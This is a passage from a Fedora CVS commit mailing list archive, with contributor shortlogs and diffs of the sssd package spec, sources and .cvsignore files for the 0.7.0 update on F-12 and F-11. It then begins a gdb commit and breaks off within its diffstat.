 * Move ldap provider configuration into its own file
 * Fix offline authentication
 * Return the dp error from the providers
 * Move all ldap provider init functions
 * Move all krb5 provider init functions
 * Add first basic IPA provider
 * Always list inputs before outputs
 * Start implementing ipa specific options.
 * Better offline/enumeration behavior
 * Fix setting the schema in the ipa provider

Stephen Gallagher (24):
 * Update version to 0.6.0
 * Fix infinite loop with empty group enumeration
 * Updating release script to use the VERSION file
 * Change requirement on libldb to libldb >= 0.9.3
 * INI Add config_from_fd() to ini_config
 * Remove unused btreemap code
 * Add new SSSDConfig python API
 * Add plugin configuration schema for proxy provider
 * Package SSSDConfig API
 * Clean up warnings in pysss.c
 * Remove warnings caused by 5e2301b8a75d10e5cbbe11e26e5192b894af6ad7
 * Remove two unused functions.
 * Fix segfault when using SSS tools with no local provider
 * Do not allow setting auth, access or chpass providers for LOCAL
 * Add krb5_common.h to the list of headers to 'make dist'
 * Use Python 3-compatible sitearch and sitelib
 * Better detect installed language files
 * Clean up rpmlint errors and warnings in sssd-client package
 * Set the Default-Stop LSB option for the SSSD sysv init script
 * Fix RPM builds on older versions of rpmbuild
 * Bring SSSDConfig API options up-to-date
 * Add pam_ctx (similar to nss_ctx) for storing global PAM config
 * Add support for offline auth cache timeout
 * Update version to 0.7.0

Sumit Bose (28):
 * update sysdb tests to new config file version
 * add utility call check_and_open_readonly
 * more documentation and test for sssd.conf
 * handle expired password during authentication
 * move password handling into subroutines
 * ask for new password if password is expired
 * remove redundant talloc_free
 * add description of chpass_provider option to sssd.conf man page
 * add support for server side LDAP password policies
 * add syslog message similar to pam_unix
 * use the correct kerberos context for each target
 * fix a wrong argument to unpack_buffer
 * add -Werror-implicit-function-declaration to default gcc flags
 * add a replacement if ldap_control_create is missing
 * use PYTHON_PREFIX to install SSSDConfig python API
 * add missing %defattr to the filelist of the client package
 * make sdap_id_connect_* independent of sdap_id_ctx
 * send a message if a backend target is not configured
 * use old password if available during password change
 * set chpass_provider implicit if not set explicit
 * more implicit provider target settings
 * enable debugging of krb5_child
 * Check for expired passwords in LDAP provider
 * added generic LDAP search sdap_get_generic_send/_recv
 * add store/search/delete interface for custom sysdb objects
 * update krb5 option handling to new option scheme
 * update ipa auth options to new option scheme
 * fix a compiler warning about redefinition of DEBUG




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/F-12/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	13 Oct 2009 20:37:15 -0000	1.11
+++ .cvsignore	23 Oct 2009 19:59:19 -0000	1.12
@@ -1 +1 @@
-sssd-0.6.1.tar.gz
+sssd-0.7.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/F-12/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	13 Oct 2009 20:37:15 -0000	1.12
+++ sources	23 Oct 2009 19:59:19 -0000	1.13
@@ -1 +1 @@
-2deb5f1506ae2e172c9ce1de45c1d1df  sssd-0.6.1.tar.gz
+403945c70c902302e5d8babecb24b096  sssd-0.7.0.tar.gz


Index: sssd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/F-12/sssd.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sssd.spec	15 Oct 2009 13:26:30 -0000	1.24
+++ sssd.spec	23 Oct 2009 19:59:19 -0000	1.25
@@ -1,12 +1,11 @@
-%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
-%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
+%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import *; import sys; sys.stdout.write(get_python_lib(1))")}
+%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import *; import sys; sys.stdout.write(get_python_lib())")}
 
 Name: sssd
-Version: 0.6.1
-Release: 2%{?dist}
+Version: 0.7.0
+Release: 1%{?dist}
 Group: Applications/System
 Summary: System Security Services Daemon
-
 # The entire source code is GPLv3+ except replace/ which is LGPLv3+
 License: GPLv3+ and LGPLv3+
 URL: http://fedorahosted.org/sssd
@@ -16,14 +15,11 @@ BuildRoot: %(mktemp -ud %{_tmppath}/%{na
 
 ### Patches ###
 
-Patch1: 0001-Tighten-up-permission.patch
-
 ### Dependencies ###
 
 Requires: libldb >= 0.9.3
 Requires: libtdb >= 1.1.3
-
-Requires: sssd-client = 0.6.1
+Requires: sssd-client = 0.7.0
 Requires(post): python
 Requires(preun):  initscripts chkconfig
 Requires(postun): /sbin/service
@@ -77,8 +73,6 @@ service.
 %prep
 %setup -q
 
-%patch1 -p1 -b .tighten_permission
-
 %build
 %configure \
     --without-tests \
@@ -94,6 +88,16 @@ rm -rf $RPM_BUILD_ROOT
 
 make install DESTDIR=$RPM_BUILD_ROOT
 
+# Prepare language files
+/usr/lib/rpm/find-lang.sh $RPM_BUILD_ROOT sss_daemon
+/usr/lib/rpm/find-lang.sh $RPM_BUILD_ROOT sss_client
+
+mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/sssd
+install -m600 %{SOURCE1} $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.conf
+
+install -m400 server/config/etc/sssd.api.conf $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.api.conf
+install -m400 server/config/etc/sssd.api.d/* $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.api.d/
+
 # Remove .la files created by libtool
 rm -f \
     $RPM_BUILD_ROOT/%{_lib}/libnss_sss.la \
@@ -105,23 +109,17 @@ rm -f \
     $RPM_BUILD_ROOT/%{_libdir}/krb5/plugins/libkrb5/sssd_krb5_locator_plugin.la \
     $RPM_BUILD_ROOT/%{python_sitearch}/pysss.la
 
-mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/sssd
-install -m600 %{SOURCE1} $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.conf
-
-mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.api.d
-install -m400 server/config/etc/sssd.api.conf $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.api.conf
-install -m400 server/config/etc/sssd.api.d/* $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.api.d/
-
-touch locator.filelist
 if test -e $RPM_BUILD_ROOT/%{_libdir}/krb5/plugins/libkrb5/sssd_krb5_locator_plugin.so
 then
-    echo %{_libdir}/krb5/plugins/libkrb5/sssd_krb5_locator_plugin.so > locator.filelist
+    # Apppend this file to the sss_daemon.lang
+    # Older versions of rpmbuild can only handle one -f option
+    echo %{_libdir}/krb5/plugins/libkrb5/sssd_krb5_locator_plugin.so >> sss_daemon.lang
 fi
 
 %clean
 rm -rf $RPM_BUILD_ROOT
 
-%files -f locator.filelist
+%files -f sss_daemon.lang
 %defattr(-,root,root,-)
 %doc COPYING
 %attr(755,root,root) %{_initrddir}/%{name}
@@ -146,6 +144,7 @@ rm -rf $RPM_BUILD_ROOT
 %attr(700,root,root) %dir %{_sysconfdir}/sssd/sssd.api.d
 %config %{_sysconfdir}/sssd/sssd.api.d/
 %{_mandir}/man5/sssd.conf.5*
+%{_mandir}/man5/sssd-ipa.5*
 %{_mandir}/man5/sssd-krb5.5*
 %{_mandir}/man5/sssd-ldap.5*
 %{_mandir}/man8/sssd.8*
@@ -156,13 +155,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man8/sss_userdel.8*
 %{_mandir}/man8/sss_usermod.8*
 %{_mandir}/man8/sssd_krb5_locator_plugin.8*
-%{_datadir}/locale/*/LC_MESSAGES/sss_client.mo
-%{_datadir}/locale/*/LC_MESSAGES/sss_daemon.mo
 %{python_sitearch}/pysss.so
 %{python_sitelib}/*.py*
 %{?fedora:%{python_sitelib}/*.egg-info}
 
-%files client
+%files client -f sss_client.lang
 %defattr(-,root,root,-)
 /%{_lib}/libnss_sss.so.2
 /%{_lib}/security/pam_sss.so
@@ -188,7 +185,14 @@ if [ $1 -ge 1 ] ; then
     /sbin/service %{servicename} condrestart 2>&1 > /dev/null
 fi
 
+%post client -p /sbin/ldconfig
+
+%postun client -p /sbin/ldconfig
+
 %changelog
+* Fri Oct 23 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.7.0-1
+- New upstream release 0.7.0
+
 * Thu Oct 15 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.6.1-2
 - Fix missing file permissions for sssd-clients
 


--- 0001-Tighten-up-permission.patch DELETED ---



From sgallagh at fedoraproject.org  Fri Oct 23 20:03:33 2009
From: sgallagh at fedoraproject.org (Stephen Gallagher)
Date: Fri, 23 Oct 2009 20:03:33 +0000 (UTC)
Subject: rpms/sssd/F-11 .cvsignore, 1.11, 1.12 sources, 1.11, 1.12 sssd.spec,
	1.22, 1.23
Message-ID: <20091023200333.EFDBA11C01EA@cvs1.fedora.phx.redhat.com>

Author: sgallagh

Update of /cvs/pkgs/rpms/sssd/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14923

Modified Files:
	.cvsignore sources sssd.spec 
Log Message:
Dmitri Pal (10):
 * COLLECTION Adding item comparison and sorting
 * COLLECTION Realigning collection code
 * COLLECTION Making iterations pinnable
 * COLLECTION Enhancing hashing and iteration functions
 * ELAPI Event resolver
 * ELAPI Resolving message attribute
 * ELAPI Fixing warnings in the example
 * ELAPI Rename variables and functions not to use word template
 * ELAPI Fixed the host name resolution
 * ELAPI Compatibility code for getifaddr()

Jakub Hrozek (3):
 * Fix python sync operations and mem hierarchy
 * Fix error messages in tools
 * User home directories management

Martin Nagy (7):
 * Use correct talloc context in sss_names_init()
 * Fix potential memory leaks in the data provider
 * Resolver: Use talloc_get_type() for type safety
 * Use talloc to copy data from c-ares
 * Add a new set of helpful common functions for tests
 * Various improvements to the resolv test suite
 * Delete sssd-i18n.h and put it's old contents into util.h

Piotr Dr?g (1):
 * Update polish translation for 0.6.0

Ralf Haferkamp (2):
 * LDAP provider needs to link against krb libraries
 * SUSE specific init script

Simo Sorce (21):
 * Tighten up permission.
 * Initial implementation of sasl bind support
 * Fix tools sync operations and mem hierarchy
 * Fix long timeout on ldap operation
 * Make dp requests more robust
 * Differentiate between search and network timeouts
 * Remove DP process
 * Start responders predictably after providers
 * Remove magicPrivateGroups option
 * Fix services startup when only LOCAL is configured
 * Make options parser available to all providers
 * Move ldap provider configuration into its own file
 * Fix offline authentication
 * Return the dp error from the providers
 * Move all ldap provider init functions
 * Move all krb5 provider init functions
 * Add first basic IPA provider
 * Always list inputs before outputs
 * Start implementing ipa specific options.
 * Better offline/enumeration behavior
 * Fix setting the schema in the ipa provider

Stephen Gallagher (24):
 * Update version to 0.6.0
 * Fix infinite loop with empty group enumeration
 * Updating release script to use the VERSION file
 * Change requirement on libldb to libldb >= 0.9.3
 * INI Add config_from_fd() to ini_config
 * Remove unused btreemap code
 * Add new SSSDConfig python API
 * Add plugin configuration schema for proxy provider
 * Package SSSDConfig API
 * Clean up warnings in pysss.c
 * Remove warnings caused by 5e2301b8a75d10e5cbbe11e26e5192b894af6ad7
 * Remove two unused functions.
 * Fix segfault when using SSS tools with no local provider
 * Do not allow setting auth, access or chpass providers for LOCAL
 * Add krb5_common.h to the list of headers to 'make dist'
 * Use Python 3-compatible sitearch and sitelib
 * Better detect installed language files
 * Clean up rpmlint errors and warnings in sssd-client package
 * Set the Default-Stop LSB option for the SSSD sysv init script
 * Fix RPM builds on older versions of rpmbuild
 * Bring SSSDConfig API options up-to-date
 * Add pam_ctx (similar to nss_ctx) for storing global PAM config
 * Add support for offline auth cache timeout
 * Update version to 0.7.0

Sumit Bose (28):
 * update sysdb tests to new config file version
 * add utility call check_and_open_readonly
 * more documentation and test for sssd.conf
 * handle expired password during authentication
 * move password handling into subroutines
 * ask for new password if password is expired
 * remove redundant talloc_free
 * add description of chpass_provider option to sssd.conf man page
 * add support for server side LDAP password policies
 * add syslog message similar to pam_unix
 * use the correct kerberos context for each target
 * fix a wrong argument to unpack_buffer
 * add -Werror-implicit-function-declaration to default gcc flags
 * add a replacement if ldap_control_create is missing
 * use PYTHON_PREFIX to install SSSDConfig python API
 * add missing %defattr to the filelist of the client package
 * make sdap_id_connect_* independent of sdap_id_ctx
 * send a message if a backend target is not configured
 * use old password if available during password change
 * set chpass_provider implicit if not set explicit
 * more implicit provider target settings
 * enable debugging of krb5_child
 * Check for expired passwords in LDAP provider
 * added generic LDAP search sdap_get_generic_send/_recv
 * add store/search/delete interface for custom sysdb objects
 * update krb5 option handling to new option scheme
 * update ipa auth options to new option scheme
 * fix a compiler warning about redefinition of DEBUG

Detailed changes since 0.5.0

Dmitri Pal (8):
 *  ELAPI sinks and providers
 *  ELAPI Adding file provider and CSV format
 *  ELAPI Laying foundation for the async processing
 *  COLLECTION Copy collection flat with concatenated names
 *  COLLECTION Improvements to copy functions
 *  COLLECTION Functions to deal with hash
 *  ELAPI Better separation from collection internals.
 *  INI Error handling and interface cleanup

Jakub Hrozek (17):
 *  Remove shadow-utils support from tools
 *  Small changes to the example config and manpage
 *  Add copyright notices
 *  ELAPI: Fix dispatcher structure initialization
 *  Add binaries and backup files to .gitignore
 *  Refactor tools code
 *  Decouple synchronous sysdb interface from tools
 *  Provide python bindings for sysdb
 *  Use syslog for logging error conditions in SSSD
 *  ELAPI: fix varargs call, update unit tests
 *  ELAPI: Ticket 161: Initialize structures with calloc instead of enumerating members
 *  Allow entering parent groups as FQDN
 *  Remove provider=files
 *  Manpages update
 *  script to upgrade config to v2
 *  Send debug messages to logfile
 *  Convert the example config to v2 format, upgrade config on update only

Jeff Schroeder (1):
 *  Add documentation for installing build dependencies

Piotr Dr?g (1):
 *  Add pl translation

Ralf Haferkamp (2):
 *  Fix initgroups search filter when using rfc2307bis
 *  Avoid crash when timestamp is NULL

Simo Sorce (30):
 *  Use the correct structure.
 *  Initial support for multiple schema types
 *  Always save using member/memberOf
 *  Fix group replies when using member/memberof
 *  Upgrade database to 0.2
 *  Remove redunant function and always pass attrs.
 *  Make enumeration an independent task
 *  Speed-up enumerations.
 *  Correctly handle !DbusWatch behavior.
 *  Turn enumeration into a boolean value
 *  Honor enumerate option in ldap_id
 *  Fix proxy enumeration
 *  Fix two possible uninitialized values
 *  Split database in multiple files
 *  Tools are allowed to touch only the 'local' domain
 *  Fix Ldap id backend offline code
 *  Fix memory mishandling.
 *  Fix ldap enumeration async task
 *  Fix getgrnam and getgrgid calls
 *  Complete the removal of "legacy" option.
 *  Update documentation and examples
 *  Make the offline status backend-global
 *  Turn ldap driver options into multitype
 *  Fix copy&paste error.
 *  Better handle groups w/o members
 *  Fix copy&paste of wrong structure
 *  Don't try to use initgroups_dyn if not available
 *  Handle suspend cases
 *  Split out an sssd-clients package
 *  Let backend respond while fetching large results

Stephen Gallagher (26):
 *  Move RPM specfiles into contrib/
 *  Consolidate cache lookups in the NSS
 *  Add support for the !EntryCacheNoWaitRefreshTimeout
 *  Check for valid min and max IDs in confdb_get_domains
 *  Update manpage to reflect new syntax for enumerate
 *  Add strtoint32 and strtouint32 convenience functions
 *  Properly detect negative/invalid values for the minId and maxId
 *  Remove unused event context argument from confdb_init
 *  Read the configuration parsing before daemonization
 *  Fix first-time confdb generation
 *  Add 'make tests' target
 *  Add strtoint32 and strtouint32 tests
 *  Print error message when connection to the config db fails
 *  Exit if the sssd is launched as a user other than root
 *  Include m4 directories in tarball
 *  Allow rerunning autoreconf from the tarball
 *  Add PRERELEASE_VERSION variable for use in sssd.spec.in
 *  Add missing updates to LINGUAS for pl translation
 *  Add missing reference to sssd-ldap(5) in sssd.conf(5) manpage
 *  Include groupSearchBase in sssd-ldap(5) manpage
 *  Several fixes and enhancements for config file processing
 *  Make configure script compatible with older python versions
 *  Revert "Use syslog for logging error conditions in SSSD"
 *  Temporarily disable automatic config file reread
 *  Upgrade confdb to version 2
 *  Update version to 0.6.0

Sumit Bose (31):
 *  removed unused header file
 *  do not show server messages to user
 *  fix internal order of ldap user mapping options
 *  add configure check for errno_t
 *  send SSSD_REALM and SSSD_KDCIP environment to the client
 *  check if gid attribute is empty
 *  stop processing a domain if no provider is given
 *  check if libpcre version is above or below 7
 *  remove the concept of a backend name
 *  configure cleanups
 *  fix libdbus configure check
 *  initialize sockaddr_in structure
 *  add change password target to krb5 backend
 *  use fork+exec for kerberos helper
 *  Let the PAM client send its PID
 *  remove unused client locale from PAM protocol
 *  make cli_pid mandatory and increase version number of pam protocol
 *  add krb5ccache_dir and krb5ccname_template option
 *  fix the wrong usage of an offset
 *  added child timeout handler
 *  Check if SSL/TLS handler is already in place
 *  use getaddrinfo to resolve IP address of KDC
 *  add a man page for pam_sss
 *  toggle debug output of sssd_krb5_locator_plugin with an environment variable
 *  add new config options ldap_tls_cacert and ldap_tls_cacertdir
 *  fix possible short reads in kerberos provider
 *  remove krb5_try_simple_upn option and make it a default fallback
 *  add defines for large file support to standard CFLAGS
 *  more fixes for older libpcre versions
 *  Cleanups for library linking
 *  added support for older MIT kerberos versions
    



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/F-11/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	24 Aug 2009 21:13:27 -0000	1.11
+++ .cvsignore	23 Oct 2009 20:03:33 -0000	1.12
@@ -1 +1 @@
-sssd-0.5.0.tar.gz
+sssd-0.7.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/F-11/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	24 Aug 2009 21:13:27 -0000	1.11
+++ sources	23 Oct 2009 20:03:33 -0000	1.12
@@ -1 +1 @@
-7566dcac75e7248ca99b4dd0bb49c1ee  sssd-0.5.0.tar.gz
+403945c70c902302e5d8babecb24b096  sssd-0.7.0.tar.gz


Index: sssd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/F-11/sssd.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- sssd.spec	24 Aug 2009 21:13:27 -0000	1.22
+++ sssd.spec	23 Oct 2009 20:03:33 -0000	1.23
@@ -1,9 +1,11 @@
+%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import *; import sys; sys.stdout.write(get_python_lib(1))")}
+%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import *; import sys; sys.stdout.write(get_python_lib())")}
+
 Name: sssd
-Version: 0.5.0
-Release: 0%{?dist}
+Version: 0.7.0
+Release: 1%{?dist}
 Group: Applications/System
 Summary: System Security Services Daemon
-
 # The entire source code is GPLv3+ except replace/ which is LGPLv3+
 License: GPLv3+ and LGPLv3+
 URL: http://fedorahosted.org/sssd
@@ -17,7 +19,8 @@ BuildRoot: %(mktemp -ud %{_tmppath}/%{na
 
 Requires: libldb >= 0.9.3
 Requires: libtdb >= 1.1.3
-
+Requires: sssd-client = 0.7.0
+Requires(post): python
 Requires(preun):  initscripts chkconfig
 Requires(postun): /sbin/service
 
@@ -32,7 +35,8 @@ BuildRequires: autoconf
 BuildRequires: automake
 BuildRequires: libtool
 BuildRequires: m4
-BuildRequires: popt-devel
+%{?fedora:BuildRequires: popt-devel}
+%{?rhel:BuildRequires: popt}
 BuildRequires: libtalloc-devel
 BuildRequires: libtevent-devel
 BuildRequires: libtdb-devel
@@ -49,6 +53,7 @@ BuildRequires: libxml2
 BuildRequires: docbook-style-xsl
 BuildRequires: krb5-devel
 BuildRequires: c-ares-devel
+BuildRequires: python-devel
 
 %description
 Provides a set of daemons to manage access to remote directories and
@@ -57,6 +62,14 @@ the system and a pluggable backend syste
 account sources. It is also the basis to provide client auditing and policy
 services for projects like FreeIPA.
 
+%package client
+Summary: SSSD Client libraries for NSS and PAM
+Group: Applications/System
+
+%description client
+Provides the libraries needed by the PAM and NSS stacks to connect to the SSSD
+service.
+
 %prep
 %setup -q
 
@@ -75,6 +88,16 @@ rm -rf $RPM_BUILD_ROOT
 
 make install DESTDIR=$RPM_BUILD_ROOT
 
+# Prepare language files
+/usr/lib/rpm/find-lang.sh $RPM_BUILD_ROOT sss_daemon
+/usr/lib/rpm/find-lang.sh $RPM_BUILD_ROOT sss_client
+
+mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/sssd
+install -m600 %{SOURCE1} $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.conf
+
+install -m400 server/config/etc/sssd.api.conf $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.api.conf
+install -m400 server/config/etc/sssd.api.d/* $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.api.d/
+
 # Remove .la files created by libtool
 rm -f \
     $RPM_BUILD_ROOT/%{_lib}/libnss_sss.la \
@@ -83,15 +106,20 @@ rm -f \
     $RPM_BUILD_ROOT/%{_libdir}/sssd/libsss_ldap.la \
     $RPM_BUILD_ROOT/%{_libdir}/sssd/libsss_proxy.la \
     $RPM_BUILD_ROOT/%{_libdir}/sssd/libsss_krb5.la \
-    $RPM_BUILD_ROOT/%{_libdir}/krb5/plugins/libkrb5/sssd_krb5_locator_plugin.la
+    $RPM_BUILD_ROOT/%{_libdir}/krb5/plugins/libkrb5/sssd_krb5_locator_plugin.la \
+    $RPM_BUILD_ROOT/%{python_sitearch}/pysss.la
 
-mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/sssd
-install -m600 %{SOURCE1} $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.conf
+if test -e $RPM_BUILD_ROOT/%{_libdir}/krb5/plugins/libkrb5/sssd_krb5_locator_plugin.so
+then
+    # Apppend this file to the sss_daemon.lang
+    # Older versions of rpmbuild can only handle one -f option
+    echo %{_libdir}/krb5/plugins/libkrb5/sssd_krb5_locator_plugin.so >> sss_daemon.lang
+fi
 
 %clean
 rm -rf $RPM_BUILD_ROOT
 
-%files
+%files -f sss_daemon.lang
 %defattr(-,root,root,-)
 %doc COPYING
 %attr(755,root,root) %{_initrddir}/%{name}
@@ -105,23 +133,45 @@ rm -rf $RPM_BUILD_ROOT
 %{_libexecdir}/%{servicename}/
 %{_libdir}/%{name}/
 %{_libdir}/ldb/memberof.so
-%{_libdir}/krb5/plugins/libkrb5/*
 %dir %{sssdstatedir}
 %attr(700,root,root) %dir %{dbpath}
 %attr(755,root,root) %dir %{pipepath}
 %attr(700,root,root) %dir %{pipepath}/private
-%dir %{_sysconfdir}/sssd
+%attr(750,root,root) %dir %{_var}/log/%{name}
+%attr(700,root,root) %dir %{_sysconfdir}/sssd
 %config(noreplace) %{_sysconfdir}/sssd/sssd.conf
+%config %{_sysconfdir}/sssd/sssd.api.conf
+%attr(700,root,root) %dir %{_sysconfdir}/sssd/sssd.api.d
+%config %{_sysconfdir}/sssd/sssd.api.d/
+%{_mandir}/man5/sssd.conf.5*
+%{_mandir}/man5/sssd-ipa.5*
+%{_mandir}/man5/sssd-krb5.5*
+%{_mandir}/man5/sssd-ldap.5*
+%{_mandir}/man8/sssd.8*
+%{_mandir}/man8/sss_groupadd.8*
+%{_mandir}/man8/sss_groupdel.8*
+%{_mandir}/man8/sss_groupmod.8*
+%{_mandir}/man8/sss_useradd.8*
+%{_mandir}/man8/sss_userdel.8*
+%{_mandir}/man8/sss_usermod.8*
+%{_mandir}/man8/sssd_krb5_locator_plugin.8*
+%{python_sitearch}/pysss.so
+%{python_sitelib}/*.py*
+%{?fedora:%{python_sitelib}/*.egg-info}
+
+%files client -f sss_client.lang
+%defattr(-,root,root,-)
 /%{_lib}/libnss_sss.so.2
 /%{_lib}/security/pam_sss.so
-%{_mandir}/man5/*
-%{_mandir}/man8/*
-%{_datadir}/locale/*/LC_MESSAGES/sss_client.mo
-%{_datadir}/locale/*/LC_MESSAGES/sss_daemon.mo
+%{_mandir}/man8/pam_sss.8*
 
 %post
 /sbin/ldconfig
 /sbin/chkconfig --add %{servicename}
+if [ $1 -ge 2 ] ; then
+# a one-time upgrade from confdb v1 to v2, only if upgrading
+    python %{_libexecdir}/%{servicename}/upgrade_config.py
+fi
 
 %preun
 if [ $1 = 0 ]; then
@@ -135,14 +185,41 @@ if [ $1 -ge 1 ] ; then
     /sbin/service %{servicename} condrestart 2>&1 > /dev/null
 fi
 
+%post client -p /sbin/ldconfig
+
+%postun client -p /sbin/ldconfig
+
 %changelog
+* Fri Oct 23 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.7.0-1
+- New upstream release 0.7.0
+
+* Thu Oct 15 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.6.1-2
+- Fix missing file permissions for sssd-clients
+
+* Tue Oct 13 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.6.1-1
+- Add SSSDConfig API
+- Update polish translation for 0.6.0
+- Fix long timeout on ldap operation
+- Make dp requests more robust
+
+* Tue Sep 29 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.6.0-1
+- Ensure that the configuration upgrade script always writes the config
+  file with 0600 permissions
+- Eliminate an infinite loop in group enumerations
+
+* Mon Sep 28 2009 Sumit Bose <sbose at redhat.com> - 0.6.0-0
+- New upstream release 0.6.0
+
 * Mon Aug 24 2009 Simo Sorce <ssorce at redhat.com> - 0.5.0-0
 - New upstream release 0.5.0
 
-* Wed Jul 29 2009 Jakub Hrozek <jhrozek at redhat.com> - 0.4.1-3
+* Wed Jul 29 2009 Jakub Hrozek <jhrozek at redhat.com> - 0.4.1-4
 - Fix for CVE-2009-2410 - Native SSSD users with no password set could log in
   without a password. (Patch by Stephen Gallagher)
 
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4.1-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon Jun 22 2009 Simo Sorce <ssorce at redhat.com> - 0.4.1-2
 - Fix a couple of segfaults that may happen on reload
 
@@ -154,15 +231,6 @@ fi
 - latest upstream release.
 - also add a patch that fixes debugging output (potential segfault)
 
-* Tue Apr 29 2009 Simo Sorce <ssorce at redhat.com> - 0.3.3-3
-- Add use_first_pass option to fix pam stack problems
-
-* Tue Apr 28 2009 Simo Sorce <ssorce at redhat.com> - 0.3.3-1
-- Add patches to fix password caches when offline
-
-* Mon Apr 27 2009 Simo Sorce <ssorce at redhat.com> - 0.3.3-0
-- Version 0.3.3
-
 * Mon Apr 20 2009 Simo Sorce <ssorce at redhat.com> - 0.3.2-2
 - release out of the official 0.3.2 tarball
 



From jkratoch at fedoraproject.org  Fri Oct 23 20:05:52 2009
From: jkratoch at fedoraproject.org (Jan Kratochvil)
Date: Fri, 23 Oct 2009 20:05:52 +0000 (UTC)
Subject: rpms/gdb/F-12 .cvsignore, 1.43, 1.44 gdb-archer.patch, 1.34,
	1.35 gdb.spec, 1.395, 1.396 sources, 1.42, 1.43
Message-ID: <20091023200552.EBCA411C01EA@cvs1.fedora.phx.redhat.com>

Author: jkratoch

Update of /cvs/pkgs/rpms/gdb/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15846

Modified Files:
	.cvsignore gdb-archer.patch gdb.spec sources 
Log Message:
* Fri Oct 23 2009 Jan Kratochvil <jan.kratochvil at redhat.com> - 7.0-5
- Make the package buildable on RHEL-5/CentOS-5 (without librpm there).
- archer-jankratochvil-fedora12 commit: 5b73ea6a0f74e63db3b504792fc1d37f548bdf5c



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gdb/F-12/.cvsignore,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- .cvsignore	7 Oct 2009 19:17:19 -0000	1.43
+++ .cvsignore	23 Oct 2009 20:05:49 -0000	1.44
@@ -1,2 +1,2 @@
-libstdc++-v3-python-r151798.tar.xz
 gdb-7.0.tar.bz2
+libstdc++-v3-python-r151798.tar.bz2

gdb-archer.patch:
 Makefile.in                                              |   92 
 NEWS                                                     |    7 
 ada-lang.c                                               |   43 
 amd64-linux-nat.c                                        |   45 
 block.c                                                  |   24 
 block.h                                                  |   12 
 breakpoint.c                                             |  763 ++++--
 breakpoint.h                                             |   21 
 c-exp.y                                                  |  240 ++
 c-lang.c                                                 |    6 
 c-typeprint.c                                            |   47 
 cli/cli-cmds.c                                           |   72 
 coffread.c                                               |    3 
 config.in                                                |    8 
 config/i386/nm-i386.h                                    |  125 +
 config/i386/nm-linux64.h                                 |   54 
 config/mips/nm-irix5.h                                   |   44 
 configure                                                |   76 
 configure.ac                                             |   47 
 cp-name-parser.y                                         |    5 
 cp-namespace.c                                           |  281 +-
 cp-support.c                                             |  123 +
 cp-support.h                                             |   50 
 dbxread.c                                                |    1 
 doc/gdb.texinfo                                          |  438 +++
 doc/gdbint.texinfo                                       |   62 
 doc/observer.texi                                        |    5 
 dwarf2-frame.c                                           |    9 
 dwarf2expr.c                                             |    7 
 dwarf2expr.h                                             |    2 
 dwarf2loc.c                                              |  227 +
 dwarf2loc.h                                              |    6 
 dwarf2read.c                                             | 1761 ++++++++++-----
 elfread.c                                                |   11 
 eval.c                                                   |  170 +
 expression.h                                             |   11 
 f-exp.y                                                  |    4 
 f-lang.c                                                 |  457 ---
 f-lang.h                                                 |   45 
 f-typeprint.c                                            |   36 
 f-valprint.c                                             |  267 --
 findcmd.c                                                |  111 
 findvar.c                                                |  126 -
 frame.c                                                  |    8 
 gdbinit.in                                               |   10 
 gdbserver/linux-i386-low.c                               |  210 +
 gdbserver/linux-x86-64-low.c                             |  184 +
 gdbthread.h                                              |    7 
 gdbtypes.c                                               |  599 ++++-
 gdbtypes.h                                               |  146 +
 gnu-v3-abi.c                                             |   18 
